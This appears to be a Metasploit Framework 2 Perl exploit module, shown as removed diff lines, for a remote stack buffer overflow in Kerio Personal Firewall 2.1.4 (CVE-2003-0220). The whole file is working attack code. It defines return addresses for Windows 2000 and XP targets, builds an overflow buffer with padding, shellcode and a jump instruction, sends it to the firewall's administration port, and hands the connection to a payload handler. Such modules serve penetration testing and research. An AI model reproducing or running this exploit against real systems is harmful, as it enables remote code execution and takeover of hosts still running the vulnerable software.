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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::kerio_auth;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
-
- 'Name' => 'Kerio Personal Firewall 2 (2.1.4) Remote Authentication Packet Buffer Overflow',
- 'Version' => '$Revision: 1.2 $',
- 'Authors' => [ 'y0 [at] w00t-shell.net', ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000', 'winxp', ],
- 'Priv' => 0,
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 44334],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
- 'AutoOpts' => { 'EXITFUNC' => 'process' },
- 'Payload' =>
- {
- 'Space' => 1000,
- 'BadChars' => "\x00",
- 'Prepend' => "\x81\xc4\x54\xf2\xff\xff",
- 'Keys' => ['-ws2ord'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a stack overflow in Kerio Personal Firewall
- administration authentication process. This module has only been tested
- against Kerio Personal Firewall 2 2.1.4.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '6294'],
- ['BID', '7180'],
- ['CVE', '2003-0220'],
- ['URL', 'http://www1.corest.com/common/showdoc.php?idx=314&idxseccion=10'],
- ],
-
- 'Targets' =>
- [
- ['Windows 2000 Pro SP4 English', 0x7c2ec68b],
- ['Windows XP Pro SP0 English', 0x77e3171b],
- ['Windows XP Pro SP1 English', 0x77dc5527],
- ],
-
- 'Keys' => ['firewall'],
-
- 'DisclosureDate' => 'Apr 28 2003',
-
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit
- {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $target = $self->Targets->[$target_idx];
-
- my $sploit =
- Pex::Text::AlphaNumText(4268). $shellcode.
- pack('V', $target->[1]). "\xe9\x0b\xfe\xff\xff";
-
- $self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($sploit);
- $self->Handler($s);
- $s->Close();
- return;
- }
-
- 1;
-